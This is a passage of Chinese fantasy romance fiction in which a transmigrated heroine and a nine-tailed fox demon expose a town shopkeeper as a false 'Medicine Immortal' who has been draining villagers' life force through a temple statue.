怎么认出来的……她也不清楚,但就是觉得,看第一眼就知道是他。 她的视线瞟向他垂落在身侧的那只手上——原先还想着怎么给他止血,现在好了,直接从根源解决。 “我看我之前的那些草药都白采了,”徐颂禾踢了踢脚边的一颗石子,嘟嚷道∶“你每次一受伤,只要换具身体就什么都好了。” 走在身旁的人笑了一声∶“你当很容易?” 她不再继续这个话题了,想起方才从药铺出来后的事,问道∶“镇上大家都在抓我们,你知不知道?” 问完她又觉得白问了,他刚才都那样吓唬自己了,能不知道吗? 果然,他没有一丝犹豫地答∶“知道啊。” “那你有什么想法?” “他们画画的技术应该再提升些。” 徐颂禾觉得自己和这个人或许没办法正常交流,她抬头看看爬到头顶的月亮,飞快地在脑子里把这几日的全部线索都理了一遍,在得出t结论之前,一个花花绿绿的身影从眼前闪过,还没等瞧清楚,她便被按着肩膀往后退了退。 “是余掌柜,”她惊讶出声,两只眼睛直勾勾盯着那道飞过去的身影,“都这么晚了,他要去哪里?” 余百岁身披一件花花斗篷,在雪地间穿梭的间隙,往两旁的树木飞速扫去一眼,而后瞬间消失在道路尽头。 他闪身进了庙内,确认屋外无人跟随后,挥手封锁了大门,随后转过身,眼睛里贪婪的目光射向那尊雕像。 他两手举过头顶,闭上眼不停挥动着,像是在进行某种仪式。 只听“轰隆”一声低响,雕像的两只眼睛猛地漂浮在空中,一股无色的气流从中飘了出来。 余百岁被包围在其中,就像一片容纳百川的大海,所有气流都从他身上穿过。他整个人像是被温水浸过,脸上露出满足的神情。 片刻后,他像是想起了什么,抬手在空中虚虚一按,气流便顺从地分成了无数细丝,悄无声息地渗入庙外的夜色。 “你们可要活得好好的,要是死了,谁来供奉我?” 窗外风声呼啸,他身子直挺挺地站了不知多久,直到月色完全漫过门前台阶,才慢悠悠打了个呵欠,转身离开后,庙里的一切都恢复了原样,包括那尊雕像。 他行色匆匆,用和方才一样快的速度在寂静无人的街道上穿梭,最后停在一扇门前,矮身钻进了屋。 余百岁大喇喇地往床上一躺,震得旁边木桌都摇晃起来,他刚闭上眼睛,耳边忽然听见一阵风声,有什么东西擦着耳朵飞了过去。 半开着的窗户发出哒哒的敲打声,他心下大骇,颤抖着点亮蜡烛,一支插在墙缝里的箭就这样出现在视线中。 他蓦地一惊,转头怒视窗外,大声喝道∶“什么人?!只敢在背地偷袭,不敢出来光明正大地见我吗?” 又吼了两声,窗外却没了动静,蜡烛的影子摇摇晃晃,从那支箭上掠过。 余百岁转过头,忽然发现那箭上插了一张纸。 他在原地呆了几秒后,狐疑地走上前,确认那箭上没毒后,取下了那张字条。 只见那上面赫然写着两行字∶ “药仙啊药仙,你非但不管镇民死活,还扮成凡人继续吸食他们的生机,当真罪过至极。你可千万不要被我抓到,否则……” 余百岁瞳孔骤缩,手重重一抖,他眼神略显空洞地向前方望了许久,随后极缓慢地蹲下身,触碰到那张字条的那一瞬又猛然缩回手,仿佛上面包裹了许多尖刺。 半晌,他终于重新展开那张纸,又读了一遍上面的话,神情由惊恐转为愤怒。 否则…… 否则什么?难不成他真的将此事闹大,但这东西又是谁写的?整个镇子里除了他自己没有人知道,谁会跟他恶作剧? 不管是谁,今日都非抓出来不可,胆敢在这个时候装神弄鬼吓唬他,还真当他余百岁是活菩萨了。 便在此时,又听见嗖嗖几声,这回他眼尖地伸出手,夹住了飞来的箭。 他脸色铁青地将上面的字条展开,看清内容后,身躯猛地一震。 “余百岁,我的话你也不听了是吗?你想弥补还来得及,只要你把生机分给我,我就饶了你。不过切记不可让他们死了。” 那行字下面还有个歪歪斜斜的署名——九尾。 余百岁大惊失色地扔掉它,连滚带爬地扑到窗边,外头依旧空荡荡的不见人影。他颤颤巍巍地唤了一声∶“九……九尾大人,您大驾光临,我却有失远迎,属实罪过。至于生机嘛……嘿嘿,这好办,我这就去给您准备,您放心,绝不会伤他们性命。” 这九尾大人名声远扬,没有哪只妖怪听了他的话敢不服从。都说他喜静,一直以来都待在他的洞穴里从不见人,眼下竟找上门来了,若不按照他说的去做,恐怕自己今日小命不保。 过了不知多久,下半夜再没有别的动静,余百岁刚松口气,门外便又响起了咚咚的敲门声。 他登时竖起耳朵,神经都紧绷起来。 “大、大人,是您来了?” 门外安静了一瞬,随后一个虚弱的声音有气无力地道∶“掌柜的,是我,我快病死了,求您开开门吧。” 门口的少年一身黑衣,几乎和夜色融为一体,听见开门声,他缓缓抬起头,月光下一张熟悉的脸庞闯入余百岁眼中。 那是他认识的脸,小镇里的人本就不多,他几乎已经认全了每一张脸。 少年卧倒在台阶上,朝他伸出手,惨白的嘴唇一张一合∶“求……求您救救我……” 余百岁皱了皱眉,不耐烦地“啧”了一声∶“都是小毛病,你回去等着吧,过几个时辰就能好。” 那少年眼里闪过一丝惊讶,又摇了摇头,气若游丝道∶“您还没问我是什么病,怎么就让我回去等?” 余百岁更加不耐烦了,对方生的什么病他心里一清二楚,但又不便说出口——他才吸出了不少生机,他们难受也是正常的,反正不会死就行了。等天亮了还回去一些,自己就好了。 他敷衍地取来一个罐子扔给对方∶“不管什么病,吃了就能好。你还不走,是在质疑我吗?” “我哪能质疑您?”那少年扬起唇,一张白得略显病态的脸上绽出一个笑,“您可是无所不能的余掌柜,您的药能治百病,没有您我们就活不下去了,对吗药仙?” 余百岁原本还摸着下巴满意地点头,听到最后一句,他双眼蓦地睁圆,未经思考便挥手拍出一掌。 强劲的掌风立刻将那少年卷走,重重撞在门前一棵大树上,他的身体便如泄了气的海绵,软绵绵地倒了下去。 余百岁冷冷看着他,正要上前趁天黑把人处理掉,不远处倏地传来几声惊呼,只见一人捂着嘴巴,双腿直发抖,眼里的震惊无法遮掩。 “掌、掌柜的,你怎么……” 好啊,既然被发现了,那就索性多杀一个,余百岁冷笑一声,正要动手,忽然从那人身后又转出几个身影。 他们都将他方才的所作所为看得清清楚楚,余百岁杵在原地,脸色黝黑,也不知是不是夜色太深的原因。 紧接着,人越聚越多,最后严严实实把屋子前面的空地都给占满了。 “我们要相信余掌柜,”徐颂禾抚了抚脸上的面具,大声道∶“我方才都看见了,余掌柜只不过是推了他一下,总不至于死了吧?肯定只是晕倒了。” 这时几个胆子大的走上前,将那人翻了个面,月光下,只见对方脸部发肿,嘴边还有残留的血渍。 他腿部一软,吓得连连后退∶“他他……他死了!” 众人闻言皆惊呼起来,徐颂禾立马接话道∶“我不相信掌柜的会无故出手伤人,一定是这家伙做了什么过分的事。” 人群安静了片刻,随后有人犹犹豫豫地应声道∶“我……我听见了,这个人好像说了什么药仙,余掌柜就……就把他给……” “药仙?” 这个词一出,大伙立刻激动起来,一时间人潮涌动,徐颂禾被挤得往后退了退,手臂被人撞了好几下。 ……突然感觉回到了以前挤地铁的时候。 身子忽然一轻,她只觉得自己好像比其他人高出了一个头,人潮似乎都在慢慢退去。 她被人揪着往后拎了拎,双脚着地后,仰起脸想寻找帮自己脱离人群的人,转过身的那一刹那,对上了一双微微弯起的笑眼。 第25章 以后再教他认字 月色沉沉, 地面上树影婆娑,一道黑色身影在其间来去穿梭,动作行云流水。 “你等等我呀, 你跑得太快, 我……我快要跟不上了。” 那道身影停了下来, 回望向她∶“等你跟过来,恐怕连余百岁的影子也摸不着。” 徐颂禾弯着腰喘气,连身子都直不起来了, 她勉强抬起头, 眼睛被路上的风刮得微微泛红∶“可我就是跑不快呀, 那该怎么办?” 她能有什么办法?她只有两条腿,又不像他们都能用飞的, 怎么可能追得上? 祁无恙目光微垂,大概也认同了她的想法。 她摸了摸鼻尖, 只觉得尴尬又歉疚,小声道∶“要不, 你去追他吧,我会尽量快点找到你的……” 他却似乎并未将她的话听进去, 兀自俯身拾起一根树枝, 又随手把一支木棍掰弯,笑着问她∶“准备好了么?” 徐颂禾不明所以∶“准、准备什么?” 然而他没给她反应的时间,微眯起一只眼, 只听见“嗖”的一声, 手里那截树枝便如离弦的箭般破空而出。 她微微睁大眼, 不解地看着他∶“这里又没有人,为什么要……” 话音未落,徐颂禾瞥见对方指尖t亮起一丝微光, 不等她反应,一缕轻柔的灵力已悄然缠上她的腰,像被一团温软的云托住,她整个人都变得轻飘飘起来。 “哎——” 她身子微微晃了晃,双膝一弯,两手着地跪了下去。 察觉到自己竟被安置在一根和手指一样细的树枝上时,她连呼吸都瞬间凝固住了。 这么细的一根树枝,它会断的吧?怎么承受的住人的体重啊?可别把她摔成肉泥就万幸了。 “祁、祁无恙,你要干嘛呀?”她声音慌里慌张的,求救的眼神望向他,“你快把我放下来,我会摔死的……” 他却丝毫没有要动手的意思,微笑道∶“摔死了算我的。” “……那倒大可不必了,”徐颂禾有点绝望,又不敢贸然跳下去,只好结结巴巴道∶“你……你别让我掉下去了。” “怎么会?”他轻嗤,眼里满是捉弄人的笑意,“有我在,你摔不了。” 徐颂禾想说其实你可以自己去追人的,反正她也不会打架,真动起手来帮不了什么忙。可一个字都没来得及说出口,眼前景象蓦地开始旋转起来,呼啸而过的风刮得耳廓生疼。 她不记得自己是怎么从上面下来的,只觉得那时双腿发软,深刻体会到了比晕车还痛苦一百倍的感觉。 而罪魁祸首正抱着双臂,倚在一个大树干旁,好整以暇地看着她。 少女瞪圆了一双杏眼,气鼓鼓地望过来,亮晶晶的眸子里写满了“不可理喻”∶“你不懂怜香惜玉,但起码能不能先尊重一下我,提前问问我愿不愿意?” 她说这话时的语气里没有半分恼怒之意,反而软绵绵的,不带一点攻击力。 徐颂禾试图和他讲道理,却见这人轻轻挑起眉梢,不解地问∶“为什么?” “这样别人才会喜欢你呀,”她朝他走近了一步,仰起脸时,一线月光恰好照进她眼底,“难道你不想被别人喜欢吗?” 喜欢? 他眼中疑惑更甚∶“什么是喜欢?” “喜欢就是……” 徐颂禾顿了顿,觉得这个问题恐怕不太适合在现在解答,于是转移话题道∶“余百岁这会不知道又在做什么,我们还是快去看看吧。” 透过窗户,屋子里的人影一晃一晃的,却又看不太清。 想到方才在庙里看见的那些,再加上余百岁先前说过的话,她基本可以断定他就是药仙了。 只是她知道没有用,还得想想怎么让镇民相信。 一个是无所作为贪婪十足的药仙,一个是心肠善良医术精湛的余掌柜,单凭她的一己之言,任谁也不会相信这两个会是同一个人。 “这余掌柜就没有什么害怕的人吗……”她喃喃自语,不抱希望能得到回答,对方却极其自然地接过了话。 “有啊,”夜色中,身旁的少年弯起一双眼眸∶“他怕我。” “哦他怕……啊?”徐颂禾看向他的眼神逐渐变得不可思议,“他怕你?” 哦对,系统已经为她介绍过了,祁无恙的真身是九尾狐狸,应该也就是那些妖怪口中的“九尾大人”,可是这药仙不是神仙吗?为什么也会怕他? 他掀起眼皮,朝她投来淡淡的一瞥,却仿佛看穿了她心中所想,轻飘飘地道∶“我可从没说过他是神仙。” 徐颂禾微微一怔∶“那……他是妖怪?” 合着她在这个地方就没碰到过什么正常人,就连攻略对象也是个妖怪。 后背忽地袭来一阵冷风,她的手臂上顿时起了一层鸡皮疙瘩∶“这个小镇里的人该不会都是……” “你害怕?”祁无恙勾起唇,忽然觉得面前这人很有意思。趁她愣神的间隙,他蓦地欺身上前,轻捏住她的下颌令她抬起头来,垂下的目光在那两只乌黑的眼睛里探究着。 良久,他轻笑一声∶“敢和我在一起这么久,和他们只待了半个月就害怕了?” “那不一样。”徐颂禾脱口而出,说完自己都愣了一下。 她本来就不是这个世界的人,面对这么多妖怪害怕也很正常,可在知道祁无恙也是妖,还是只大妖的时候,为什么却感觉不到害怕呢? 而他还在看着自己,似乎在等待着回答。 他不是活了好多年的大妖了吗?怎么总因为这种奇奇怪怪的和她纠缠?还喜欢捉弄她,真是太幼稚了。 她不太想继续这个话题,于是道∶“公子,如果他害怕你的话,那就好办了。” 祁无恙微微蹙眉,面露困惑地看着她将不知从哪取出的纸笔摆在他面前,兴奋地道∶“公子,麻烦你在上面写几句话,就按我说的写。” 徐颂禾见他半天没动静,只是垂眸盯着纸笔,不由得歪了歪头,语气带着几分疑惑:“公子?怎么了?” 她边说边伸手推了推地上的笔,少许灰尘颗粒跳到了白纸上。 祁无恙收回目光,落在她困惑的脸上,淡淡道∶“我不会。” “嗯?” 徐颂禾手里的笔“啪嗒”一声落在纸上,洇出一小团墨渍。察觉到他重新投来的视线,她赶紧拾起笔,若无其事地笑了笑∶“那多正常,公子你们妖能活那么多岁,算算年纪你也还小呢,不会写字也正常,等从这里出去了,我教你呀……” 他若有所思地凝起眉,不明白为什么她会用这么长的一段话来应付他的三个字。 她长长吁了口气,哀哀地看着他。 记忆碎片里,当年那个被困在井底里的少年甚至还够不到她的肩膀,他从头到尾都孤身一人,又有谁会来教他识字呢? 一股怜悯油然而生,但她知道眼下最重要的还不是教他认字。 第一箭射出时,余百岁显然被“药仙”二字震惊到恼羞成怒,但第二箭九尾大人的署名一出,他便是连怀疑也不敢了。 被吸食了太多生机的镇民一个接一个身体不适,都以为生了病,徐颂禾于是戴上系统给的面具,混进人群中,一齐拥到了余百岁屋门前。 她的视线焦急地在人群中搜寻着,许许多多容貌不一的人擦身而过,她却觉得那都不是他。 对上那双眼睛的刹那,她松口气,悬在心头那一块大石终于落了地。 他偏了偏头,和面具下的两只眼睛目光交汇∶“你不怕认错人么?” “我看起来也没有那么傻,”话音未落,方才那具身体被一掌击出,唇边淌血的一幕又浮上眼帘,她抿紧了唇,本能地伸手去攥住他的衣角,“刚才我看见他手下可一点没留情,你……你疼不疼呀?” 被摔出去那么远,还流了血,他当时一定疼极了,现在却还好端端地站在这里,像无事发生一样朝她笑。 “能活着难道不是最好的结果?”他不懂为何一见面她问的便是这样小的事,微笑着反问∶“疼不疼有那么重要么?” “重要,”她没有犹豫地说,又抬起脸,眼里的懊悔和怜惜是那样真诚,“下一次,我们换个办法吧,一定不会再让你疼了。” 他闻言垂下目光,凝视着被她攥住的衣角,再抬眼时,那双总含着戏谑笑意的眼眸里,掠过一丝极快的讶异,快得像月光下一闪而过的流萤。 人群这时又忽然躁动起来,有人打了个头阵,道∶“掌柜的,我们这些人都承了不少你的恩情,对你向来尊敬有加。今日只要你给个说法,大伙都会相信你的,是不是啊各位?” 其余人立刻应和∶“是啊,掌柜的解释两句吧,到底为什么无故出手杀人?” 也有几个拿不定主意的,这时不盲目跟风了,只杵在原地左看右看,想要把自己置身事外。 “你们都安静些!”阿方挡在余百岁身前,张开双臂挥来挥去,试图让乌泱泱的人头往后退,“你们吵得这么大声,掌柜的还怎么解释?解释了你们听得进去吗?” 等声音逐渐平息了些,他回头飞快地看了余百岁一眼,见对方依旧沉着脸,没有要出声的意思,只好清了清嗓,硬着头皮道∶“大家一起在小镇里生活了那么久,你们难道还不清楚余掌柜的为人吗?他如果真的想害你们,那半夜里冒着风雪赠药的是谁,整宿不睡只为帮大家看病的又是谁?你们可不要被人给骗了。” 见众人沉默下来,他知道这一番话起了作用,顿时勇气大增,用手指着地上那具尸体,道∶“倒是这家伙,谁知道他平日里是个什么样的人,方才是不是惹到了掌柜的,又或者他是不是早就生了重病,本就一推就倒,故意想来陷害掌柜的?” 第26章 向他道歉 这话一出, 忽地听见人群中爆发出一阵哭泣,一老妇人拄着拐杖,颤颤巍巍地跪在尸体旁, 抹着泪道∶“不可能, 我家宝儿身体好得很, 白天还拿着篮子去河边捕鱼,怎么可能一推就死了?” 她枯槁的手一遍遍抚过宝儿冰冷的脸颊,浑浊的泪水滴在他毫无生气的衣襟上, 洇开深色的痕迹。 众人闻言都沉默下来, 面色各异地看着她, 空气中一时弥漫着一种压抑的同情和隐隐的不安。 这宝儿和她相依为命,眼下孙子一死, 老妇人也是不想活了,扔了拐杖, 双手舞动着冲上前便想去抓余百岁。 她瞪圆双目,额头上的一排排皱纹如波浪般汇到一起, 声嘶力竭地喊着∶“我们这些人好吃好喝供着你,买任何东西什么时候收过你的好处了?你为什么……为什么要害死我的宝儿?” 她年岁大了, 说两句便要停下来喘口气。阿方后仰着脸避过从她嘴里飞出的唾沫星子, 抬起一只手臂拦住她,皱起眉道∶“谁知道你家什么宝的是不是在河边的时候就出了事,故意来讹我们掌柜的?你说掌柜的不给钱, 难道是他不想给吗?不是你们自己不收的么?再说了, 来拿药的时候也没见你们哪个给过钱。” 老妇人喘着粗气, 瞪向余百岁,这时已经全忘记了他过去的好,只知今日是这人杀害了宝儿, 如果不能让他偿命,那她也没必要再活着了。 众目睽睽下,她蓦地爬起身,不要命地往树头奔去∶“我的宝儿死了,那我也不活啦!老太婆这就撞死在这……” “够了!” 沉默良久的余百岁终于开了口,沉着声道∶“阿方,拦住她。” 阿方迅速上前架住她的两只胳膊,和其余镇民一起将她拦了下来。 见他总算发话了,众人一齐将视线投过来,几十只眼珠子直勾勾盯向他。 余百岁喟然长叹,道∶“事已至此,我也就不隐瞒了。” 末了,他猛地抬头,从袖中涌出一股黑风,将所有人笼罩了起来。 感觉到脸上的面具摇摇欲掉,徐颂禾瞳孔微微一缩,赶紧抬手想把它扶稳,却还是晚了一步,那面具让风一吹,啪嗒一下掉到了地上。 她心头一跳,抬起一双慌乱的眼睛,和余百岁对视上的那一刻,她看见他眯起了眼,道∶“后面那位姑娘似乎有点眼熟,可否到跟前来让我瞧一瞧……” “完蛋了”这个念头还没出,忽然一团黑影自上而下笼罩下来,一个身影轻飘飘挡在了她身前。 少年皮笑肉不笑地瞧着他,冷冷道∶“没有人,你看错了。” 余百岁脸色一沉∶“我分明看见有人。” 这么一闹,周围的人也纷纷看过来。祁无恙勾了勾唇,微微一笑∶“她是我的人,你怎么会眼熟?” 他眼下用的是外人的身体,因此镇民中没人认出他来。 徐颂禾戴好了面具,两个洞洞下的眼睛朝他弯了弯∶“掌柜的一定是认错了,我一直是这位公子身边的人。不过你现在与其纠结我是谁,倒不如好好和大家解释解释,今夜到底是怎么回事?” 有人七嘴八舌地附和道∶“是啊掌柜的,我们方才还听见他说了什么药仙,您该不会和药仙有关系吧?” “……” 他们每多说一句话,余百岁的脸色便更黑一分,他扫向众人,忽地伸出一直背在身后的手,径直朝阿方的脖子探去。 “啊——” 还未待其余人看清,他已经掐着阿方的脖颈,退到了台阶之上。 众人被他这一番操作看得目瞪口呆,慌忙道∶“掌柜的,你这是做什么?” “我做什么?”余百岁冷哼一声,目光陡变凶狠,按在阿方脖子上的那只手青筋暴起,“都是你们逼我的!我救过那么多人,你们这群忘恩负义的居然因为一个人的死而来怀疑我……哼,你们不仁就别怪我不义,现在死的是他,下一个可就说不准了!” 阿方起先还用力试图掰掉掐在自己脖子上的手,后来实在没了力气,双手无力地耷拉下去,脸色因呼吸不畅而逐渐变得惨白。 这个一贯嘻嘻哈哈慈祥和善的小老头,此刻眼底翻涌着骇人的戾气。镇民们哪里见过他这副样子,纷纷吓得不敢上前了。 几个身体壮些的汉子上前一步,道∶“掌柜的,你记恨我们也就罢了,阿方可是一直站在你这边的,他从来到这里开始就一直跟着你,你忍心掐死他吗?” 此言一出,余百岁扫了被自己掐着的人一眼,忽然哈哈大笑起来∶“一直站在我这边?” 他看向阿方,掐着他晃了晃,问道∶“他说的对吗?” 阿方抓紧吸了几口气,连话都说不顺畅∶“掌、掌柜的,我……” 余百岁没给他太多解释的时间,五根手指又重重按了上去∶“你别以为我不知道,那天就是你把他们放进药铺里来的吧?还和他们一起谋划着把我骗进去。”他说罢,加大了力道,阿方的脖子立刻被按出了几个凹槽,“这三年来我何曾亏待过你?你口口声声说尊敬我,会一辈子孝顺我,如今又为什么为了一个外人背叛我?” 阿方方才有所好转的脸色蓦地煞白,两颗眼珠子艰难地动了动,旋即用愤恨的目光射向戴着面具的两人。 徐颂禾微微一怔——他该不会以为是他们告的密吧?真是又一桩无妄之灾。 “不过我看你也帮错了人,”余百岁冷冷笑道∶眼下你都要被我掐死了,他们却还冷眼旁观,怎么,后悔背叛我了吗?” “谁说我们不管他了?”徐颂禾索性摘下面具,清亮的声音穿透人群的骚动∶“余掌柜,杀他之前你不妨再去你的庙里看一看,试试你的雕像还能不能帮你吸引到生机。” 这话像淬了冰的针,狠狠扎进余百岁心里。他掐着阿方的手猛地一顿,眼底闪过一丝惊疑,旋即很快转为悔恨——他那日就不该为了自保把雕像一事告诉他们,但他们怎么会知道破解之法? “你胡说八道些什么?”余百岁厉声喝问,心里却不由得有所动摇。他指尖暗自凝起灵力,试图感应雕像的动静。可往日里一呼即应的生机波动,此刻竟没了半点动静,只剩一片死寂。 反倒是“生机”二字一出,人群立刻躁动起来,有几个见识较广的人经过一阵窃窃私语后,目露犹豫,最后其中一人大着胆子道∶“掌柜的,杀人一事我们大家伙姑且还能相信是那小子的错,但这位姑娘说的什么‘生机’,你为何也不否认?如果我没记错的话,正常人根本用不到生机。而来过我们这里的妖怪,除了药仙外,就没有别人了吧?” “方才就听见你说什么药仙了,你该不会和那好吃懒做的畜牲是一伙的吧?”一人满脸愤怒,道∶“当初想要一座庙这话也是故意说给我们听的吧?那药仙到底给了你什么好处,让你如此死心塌地地为他做事?” 徐颂禾朝那人投去欣慰的一瞥——本来以为没有人会相信他们的,现在看来情况要比想象中乐观得多。等周围声音小了些,她平静地道∶“他不是为药仙做事,他自己就是药仙。” 她顿了顿,视线从众人洋溢着震惊诧异的脸上扫过,“你们之前所生过的病,大多数都是因为他无节制地吸食了太多生机而造成的。”说罢,又看向余百岁,一字一句道∶“其实,你根本就不会治病吧?你只是把本就不属于你的东西还了回去,而至于其它那些和生机无关的病,你也借助祁公子的灵力帮他们治好了。” 想到不久前那些镇民在他的教唆下对祁无恙喊打喊杀的场景,一股难以抑制的愤怒从心底涌了上来,她指着余百岁,开口前想尽了一切骂人的词∶“你这个不要脸的家伙,用着别人的东西,还要把主人赶尽杀绝,你先前骂过祁公子的话,我现在全都原封不动地还给你!” 站在她身后的少年微微一愣,眼里闪过一丝疑惑,他偏了偏头,凝望向她因恼怒而微微泛红的侧脸。 她怎么说着说着还给自己说生气了? 从见面起,这个人胆子永远那么小,还口口声声说要保护他,他原本是不屑的,但现在想想,她为数不多的每一次“骂人”,似乎都是因为他。 余百岁铁青着脸,感受到周围目t光已从怀疑变为敌视,没成想这群人竟会因这等小事背叛自己,但又碍于被人威胁不便动手,只好沉声道∶“你们想怎么样?” 徐颂禾平复好心情,不假思索道∶“把生机全都还给大家,好好尽你药仙的职责,该干嘛干嘛,少走些害人害己的邪门歪道。” “掌柜的……”阿方这时已经从束缚中挣了出来,他抬头看向余百岁,满脸的惊愕——他来得晚,虽然没有经历过镇子频频病死人的日子,但从镇民的口中也知道这药仙不是什么好人,和他平日里最为敬爱的余掌柜怎么能相提并论?眼下还要却还要告诉他,他们就是同一个人。 他苍白的嘴唇动了动,声音微弱∶“掌柜的,您……您真的是……” 他多希望能听见余百岁开口否认,不管说什么,他都会信的。可对方却像是破罐子破摔般昂起头,眼珠子转了转∶“她说的不错,生机我可以还给你们,但从此往后我也不会再管你们任何人的死活,此处不留我,别处的傻瓜还多得是!” 他也不傻,如果他们真的永久把雕像封印起来,吃亏的也只有他。不如就把那点东西还回去,日后再到其它地方,只要聚灵符还在,照样能使同样的计谋东山再起。 说罢,一拂宽大的袖袍,一道极亮眼的光照笼罩在半空中。 徐颂禾看着那几乎照亮了小半边天的光芒,心里暗暗咋舌——他这是吸了大家多少生机啊?果然是个贪得无厌的家伙。 她凑到祁无恙身旁,仰头悄声问∶“公子,他为什么就这么执着这尊雕像?直接放弃它不就好了吗?” 他低头看了她一眼,淡淡道∶“你以为封住的只有雕像么?” 原来雕像只不过是个装饰的盒子,里面重要的不只有祁无恙的灵力,还有他最宝贝的聚灵符,没了符咒,他日后的生机可就只出不进了。 只不过祁无恙眼下这具身体灵力不高,封印不了多久,可惜他自己做贼心虚,一刻也不敢多等。 但还没等她想明白这话的意思,便见余百岁收回手,将阿方扔到一旁,一步一步从台阶上走了下来。 众人脸上表情各异,在他走下来时却都不自觉地往旁让去,有人动了动口,似是想开口挽留,但最后什么也没说出口。 “慢着,还有一件最重要的事。” 徐颂禾张开手拦到他跟前,在他疑惑的注视下转头看向站在原地同样不解的少年,眼睛亮亮的很是认真∶“你之前做了那么过分的事,现在必须要向祁公子道歉。” 她说完,又愤愤地看向其余镇民,道∶“还有你们,居然那样不分青红皂白地冤枉人,都要和他道歉才行!” 少年倏然抬眼,黑曜石般的眸子里掠过一丝不易察觉的怔忪,犹如素来平静无波的死水某一日忽然游进了一条五彩斑斓的鱼。 向他道歉……居然是很重要的事吗? 连他自己都不曾在意过,竟有人会放在心上。 第27章 他今天怎么回事 天微微亮, 两道身影一前一后沿着雪地里的马车痕离开,徐颂禾紧随着他身后,一蹦一跳地跟上前去, 好奇地看着他∶“公子, 你的身体和灵力都回来了, 为什么还要用别人的?” 她还真的挺想看看他的真容,谁家好人这么久了连攻略对象长什么样子都不知道啊? 如果他的真容和那日她被流云宗的人绑架来救她时的容貌最像,那一定是个十分好看之人。 而且……还有更重要的一点, 她一直不清楚祁无恙用的到底是不是活着的人的身体, 如果是的话, 那岂不是很多人都要…… 正神游天外,身旁人忽地轻笑一声, 不咸不淡的声音慢悠悠传来∶“你这么好奇,不怕我长着什么青面獠牙么?” “獠牙就獠牙, 反正我是跟定你了,不管你什么样。”她没有犹豫地接过去, 默默咽回了最后一句话。 毕竟现在的好感度已经四十了,她再努把力, 很快就能回家了。只要能回家, 就算是跟一个丑八怪待在一起相处上一年她也是愿意的。 见他没了声音,徐颂禾探头瞟了几眼,还以为他是害羞了, 摆了摆手道∶“公子你也不必害羞, 你要是不想见人, 那戴副面具也是好的……” “你是想见我,还是希望我不要杀人?” 半晌,祁无恙低眸看向瞬间消声了的少女, 笑了一笑∶“找回的只是一部分罢了,还有——” 他停顿片刻,轻捏住她的下颌,在她朝自己仰起脸来时,看着她的眼睛道∶“我用的,都是死人或将死之人的身体。” 徐颂禾眨了下眼睛,磕磕绊绊∶“可……可为什么那个老太太说她的宝儿……” “他落到河里淹死了,是我把他捞上来的,”祁无恙冷笑了声,声音平淡∶“如果不是我,这具身体早就烂了。怎么,你不相信我?” “我信。公子,你可真是个好人。” “夸我做什么?” 徐颂禾浅浅皱了下眉,摆出一副苦苦思考的模样,随后展颜笑起来∶“我猜你一定还尝试着救了他,实在救不过来了才这样的,对不对?” 他眼睫轻轻颤了颤,用看傻瓜的眼神看向她,唇角勾起一道意味不明的弧度∶“这么能想,不妨再想想你丢了什么东西。” “丢东西?没有呀。” 徐颂禾低头把自己全身上下检查了一遍,她穿越过来时就什么也没带,能丢什么东西? “是么?”祁无恙抬起衣袖,有个圆球从草坪中飞了出来,还未等她看清,便已被他捏在了手中。 他本能地蹙起眉,只用两根手指捏住了它耳朵的边缘。 长着这么多毛的东西,不知道她有什么好喜欢的,整日抱在怀里舍不得撒手。 “呀,不是让你在庙里待着等我回来吗?怎么自己跑出来了?”徐颂禾小心翼翼地接住它,又替它拍干净了身上的雪,“是不是冻坏了?” 刚一问完,许久没出现的系统音忽然在脑子里响起来∶“警告宿主,好感度-2,目前好感度为三十八,请宿主多加注意。” 不是,本来就不多了,怎么还给她倒扣? 徐颂禾一时没反应过来,抬头愣愣地看向身旁的少年∶“你……我最近没有惹到你吧?” 碰上少女投来的带着些许试探的目光,他还没开口回答,便又见她满脸心痛地捂着胸口,道∶“好了好了,你不喜欢兔子以后就不要碰它了,真是的。” 那也不至于扣掉好感度吧!这家伙在感情一事上这么草率的吗? “……” 祁无恙感到莫名其妙,他什么也没说,却不知怎么惹恼了她。不过这些无厘头的话从她口中说出来,好像也没那么奇怪了。 “二位,等一等——” 一声呼唤从背后传来,徐颂禾驻足回望,只见几个镇民肩上扛着几个布袋,匆匆忙忙地朝他们赶来。 为首的那人率先放下袋子,溅起一地灰尘。他挠了挠头,颇为不好意思地道∶“前阵子冤枉了二位,多有得罪。这些都是给二位的赔罪礼,还望收下。” 他解开绳子,几个东西从袋子里滚了出来。徐颂禾定睛一看,那原来是些白白净净的馒头,还有几件漏了洞洞的棉衣。 她有些哭笑不得∶“你们的好意我心领了,只是这么多东西,我们也拿不动呀。况且现在雪已经快要停了,这厚衣服也用不到了。” 那人又道∶“这都是大家的一点心意,今日还多亏了姑娘和这位……这位公子,否则我们或许要一辈子被蒙在鼓里。”他迟疑地看向祁无恙,暗暗心惊——这辈子还是头一次看见有人能在短短几天时间把相貌给变了,不过兴许人家就喜欢戴人皮面具,他也没资格管那么多。 徐颂禾当然不会收,好不容易推掉后,她随口问道∶“对了,那余百岁呢?他去了哪里?” 对方顿了一下,叹口气道∶“余掌柜毕竟在小镇生活了那么久,大伙也不忍心把他怎么样,全看他自己选择啦,走或是留,也不会有人阻拦。” 说到最后,那几人扑通一下朝祁无恙跪了下去∶“公子,那日误会了你,当真对不住,还望您大人有大量,莫要同我们计较。” 少年淡淡扫了他们一眼,没说不原谅,但也没有要让他们起来的意思。 “你们该做的也做的,但事已至此,也不能强求人家原谅,”徐颂禾没想到他们说跪就跪,吃了一惊,赶紧让他们站起身来,“t好了好了,不同你们说了,公子,我们快走吧。” 脚踩着地上还未散的积雪,她低下头看自己留下的一排排脚印,凉飕飕的风吹在脸上,有种别样的舒服。 她甚至产生了一种错觉,好像自己不是穿越了,而是只出来旅游了一趟,想什么时候回家都可以。 徐颂禾收回思绪,转头看向身旁的人∶“你方才说,这里只有……你身体的一部分,那你可否感知到其它部分在哪……” 一语未完,一只手忽地从眼前探出来,手心的温度毫无征兆地覆上唇畔,将她没说完的话堵了回去。 她伸手抓住祁无恙的衣袖,一双眼睛微微睁大,流露出稍许惊慌。对方被她这么一拽,不设防地贴近一步,垂眸和她目光相接。 他移开手,在她开口问话前淡声道∶“是流云宗。” 视线一转,隔着浓密的灌木丛,果然看见不远处一行身着道袍的人举着武器在雪地中徘徊,为首的那两人还有些眼熟。 是那姓卓的父子二人。 徐颂禾腾地一下坐直身子,抬手揩去额头冒出的冷汗∶“他们怎么追到这里来了?公子,你有没有……你怎么了?” 只见少年背靠着树干,轻阖上眼,也不知有没有听见她的话。他抬手在胸口一按,蓦地吐出一口血来。 